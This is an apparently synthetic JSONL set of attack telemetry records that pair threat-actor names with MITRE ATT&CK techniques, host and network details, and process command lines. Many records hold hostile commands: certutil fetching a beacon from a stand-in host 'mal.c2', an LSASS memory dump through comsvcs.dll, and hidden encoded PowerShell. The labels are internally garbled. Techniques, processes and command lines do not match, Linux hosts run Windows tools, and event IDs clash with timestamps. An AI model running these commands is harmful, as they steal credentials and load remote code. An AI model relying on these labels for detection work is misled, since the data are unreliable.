{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Exfiltration","Execution"],"technique_id":"T1566.001"},"event_id":"evt_apt29_20250113T075439000Z_0008847","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.44.181.70","name":"AZURE-VM-37MJIQG7VE","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8847APT29T1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.134.12.5","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-05-04T11:08:15.000Z","user":{"name":"i-o3bcefyxs4kf","sid":"S-1-5-21-372886469-223447731-3817"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Execution"],"technique_id":"T1021.006"},"event_id":"evt_apt29_20250104T102213000Z_0008849","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.107.56.57","name":"DB-ORACLE-LHMVSH3RVT","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8849APT29T1021.006"},"network":{"domain":"aws.amazon.com","dst_ip":"1.157.70.24","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2370 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-05-16T14:34:26.000Z","user":{"name":"azuread\\sq19kn0cid9k","sid":"S-1-5-21-774245955-446555766-8171"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Impact","Discovery","Defense Evasion"],"technique_id":"T1021.006"},"event_id":"evt_fin7_20260915T155520000Z_0008851","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Base64","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.55.63.218","name":"AZURE-VM-71ZJIUZD0V","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8851FIN7T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.15.115.207","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-06-10T19:00:09.000Z","user":{"name":"CORP\\5yvytg0zmf23","sid":"S-1-5-21-681351783-732014302-8808"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Persistence","Lateral Movement","Reconnaissance"],"technique_id":"T1566.001"},"event_id":"evt_apt41_20260927T172214000Z_0008853","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.230.192.148","name":"IAM-ROLE-X8G5OO9BJP","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8853APT41T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.193.1.216","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-04-26T01:01:48.000Z","user":{"name":"arn:aws:iam::lhhofb4dbsx2","sid":"S-1-5-21-512001275-938848212-2517"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Exfiltration","Persistence","Credential Access"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20251007T003108000Z_0008855","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.188.149.184","name":"AZURE-VM-X7G743TKLW","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8855Lapsus$T1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.193.121.65","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1453 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-08-22T21:25:03.000Z","user":{"name":"i-cjfp198pxy13","sid":"S-1-5-21-215488457-614525608-5706"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Execution","Credential Access","Discovery"],"technique_id":"T1021.006"},"event_id":"evt_mustangpanda_20250307T204508000Z_0008857","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.129.148.232","name":"EC2-INST-4ILQ1SMT97","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8857Mustang PandaT1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.162.174.54","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-12-02T20:33:32.000Z","user":{"name":"arn:aws:iam::rs0qh6jvdeb1","sid":"S-1-5-21-463132147-625403441-1401"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Reconnaissance","Credential Access","Persistence"],"technique_id":"T1546.003"},"event_id":"evt_apt29_20251205T085904000Z_0008859","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.241.195.157","name":"APP-WEB-TVAB8N15ND","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8859APT29T1546.003"},"network":{"domain":"github.com","dst_ip":"1.18.182.9","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"rundll32.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-07-10T14:06:51.000Z","user":{"name":"i-dnipaz26aahr","sid":"S-1-5-21-771150146-122388580-4724"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Privilege Escalation","Command and Control"],"technique_id":"T1484.001"},"event_id":"evt_mustangpanda_20250320T185317000Z_0008861","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.33.222.217","name":"EC2-INST-TL76TGQKUW","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8861Mustang PandaT1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.36.183.209","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-08-20T15:44:59.000Z","user":{"name":"azuread\\y5a93tvbc5w7","sid":"S-1-5-21-979372140-535981221-5767"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Credential Access","Execution","Reconnaissance"],"technique_id":"T1546.003"},"event_id":"evt_unc4841_20260307T071414000Z_0008863","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.50.86.91","name":"IAM-ROLE-89M7DLF6QQ","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8863UNC4841T1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.138.4.14","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-06-17T05:46:30.000Z","user":{"name":"arn:aws:iam::do091p007otr","sid":"S-1-5-21-837861148-385724097-6627"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Exfiltration","Collection","Execution"],"technique_id":"T1059.001"},"event_id":"evt_fin7_20250113T053902000Z_0008865","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.138.170.94","name":"IAM-ROLE-W3WHZ1Q88D","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8865FIN7T1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.9.135.181","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"powershell.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-03-01T02:38:17.000Z","user":{"name":"i-hsf3m9feem58","sid":"S-1-5-21-779860229-461566700-8639"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Command and Control","Exfiltration"],"technique_id":"T1071.001"},"event_id":"evt_scatteredspider_20260829T153016000Z_0008867","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.150.155.57","name":"IAM-ROLE-MAN7WJNY9S","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8867Scattered SpiderT1071.001"},"network":{"domain":"github.com","dst_ip":"1.76.113.139","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-08-28T17:10:30.000Z","user":{"name":"CORP\\cxazec66oun2","sid":"S-1-5-21-476657353-233421026-5852"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Credential Access","Reconnaissance","Privilege Escalation"],"technique_id":"T1546.003"},"event_id":"evt_apt29_20251206T022052000Z_0008869","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.222.98.124","name":"IAM-ROLE-VNH8NIA9PV","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8869APT29T1546.003"},"network":{"domain":"github.com","dst_ip":"1.161.170.176","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"powershell.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-11-03T19:15:36.000Z","user":{"name":"i-s4rpviz8n61k","sid":"S-1-5-21-662416268-300681449-2070"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Lateral Movement","Command and Control","Exfiltration"],"technique_id":"T1570"},"event_id":"evt_mustangpanda_20250611T083824000Z_0008871","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.87.211.125","name":"WIN-FIN-SRV-2OLSOD85ZP","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8871Mustang PandaT1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.128.231.248","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-09-25T04:51:47.000Z","user":{"name":"CORP\\f9wtzc9av43l","sid":"S-1-5-21-662565587-803848307-9912"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Initial Access","Exfiltration"],"technique_id":"T1021.006"},"event_id":"evt_volttyphoon_20260113T002925000Z_0008873","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.240.69.15","name":"IAM-ROLE-2N7NX0IW4Q","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8873Volt TyphoonT1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.189.161.142","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-06-08T12:46:36.000Z","user":{"name":"svc_145injdkh814","sid":"S-1-5-21-450492708-686198674-6864"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Collection","Reconnaissance","Defense Evasion"],"technique_id":"T1059.001"},"event_id":"evt_apt29_20260201T170124000Z_0008875","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.160.129.229","name":"WIN-FIN-SRV-NV43VDYVGE","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8875APT29T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.5.127.95","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-05-30T09:54:24.000Z","user":{"name":"i-sy87ibc1pk18","sid":"S-1-5-21-787629658-293214058-7936"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Reconnaissance","Command and Control","Exfiltration"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20251223T200050000Z_0008877","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.184.125.221","name":"APP-WEB-H9WE0A9M36","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8877UNC4841T1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.136.87.151","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1707 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-07-06T02:25:27.000Z","user":{"name":"azuread\\s6do5qmh55j6","sid":"S-1-5-21-218958152-639267120-9631"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Credential Access","Exfiltration"],"technique_id":"T1484.001"},"event_id":"evt_lapsus_20261203T124608000Z_0008879","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.2.2.65","name":"WIN-FIN-SRV-QJTPDDOXM5","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8879Lapsus$T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.123.0.99","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3455 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-12-29T01:49:04.000Z","user":{"name":"CORP\\ctindedhjx4r","sid":"S-1-5-21-184325197-240854123-8650"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Discovery","Credential Access","Lateral Movement"],"technique_id":"T1566.001"},"event_id":"evt_unc4841_20261127T073715000Z_0008881","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.151.84.171","name":"IAM-ROLE-02S8FG3CG3","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8881UNC4841T1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.135.130.208","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-11-11T19:09:13.000Z","user":{"name":"svc_9iea2yxscm1b","sid":"S-1-5-21-140775397-668250928-6366"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Privilege Escalation","Reconnaissance"],"technique_id":"T1570"},"event_id":"evt_mustangpanda_20260113T013417000Z_0008883","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.93.17.232","name":"AZURE-VM-Z4PQ9RMW8P","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8883Mustang PandaT1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.95.56.74","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-10-28T15:19:58.000Z","user":{"name":"azuread\\dv6zgt7ry9ge","sid":"S-1-5-21-701730906-421807098-3533"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Privilege Escalation"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20250525T183043000Z_0008885","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.178.54.193","name":"EC2-INST-15ZB1UWQ2T","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8885UNC4841T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.116.142.169","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-04-20T08:15:17.000Z","user":{"name":"azuread\\9l1it3jhq57x","sid":"S-1-5-21-823160634-921081195-3676"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Command and Control","Privilege Escalation","Defense Evasion"],"technique_id":"T1566.001"},"event_id":"evt_lapsus_20250210T115321000Z_0008887","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.32.16.234","name":"EC2-INST-P9E510X6II","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8887Lapsus$T1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.61.70.185","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-12-21T14:18:16.000Z","user":{"name":"CORP\\a6o7zsw9xqgw","sid":"S-1-5-21-168735909-642714366-8841"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Initial Access","Execution","Reconnaissance"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20250615T082851000Z_0008889","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.7.174.4","name":"DB-ORACLE-CG27HKUZB3","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8889UNC4841T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.80.199.246","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-10-08T10:22:42.000Z","user":{"name":"i-txkwoo2cf0oh","sid":"S-1-5-21-948796900-333911407-6234"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Persistence","Initial Access","Execution"],"technique_id":"T1059.001"},"event_id":"evt_mustangpanda_20250812T182203000Z_0008891","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.61.206.24","name":"WIN-FIN-SRV-SCOZ87O22E","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8891Mustang PandaT1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.129.122.121","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-01-11T17:52:26.000Z","user":{"name":"i-b6qaa54ivtps","sid":"S-1-5-21-154354968-383355715-4024"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Persistence","Discovery","Privilege Escalation"],"technique_id":"T1570"},"event_id":"evt_scatteredspider_20260712T012300000Z_0008893","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Base64","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.141.42.135","name":"EC2-INST-Y2ZZT6S6FK","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8893Scattered SpiderT1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.47.57.185","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"powershell.exe","parent_name":"services.exe"},"source":"CloudTrail 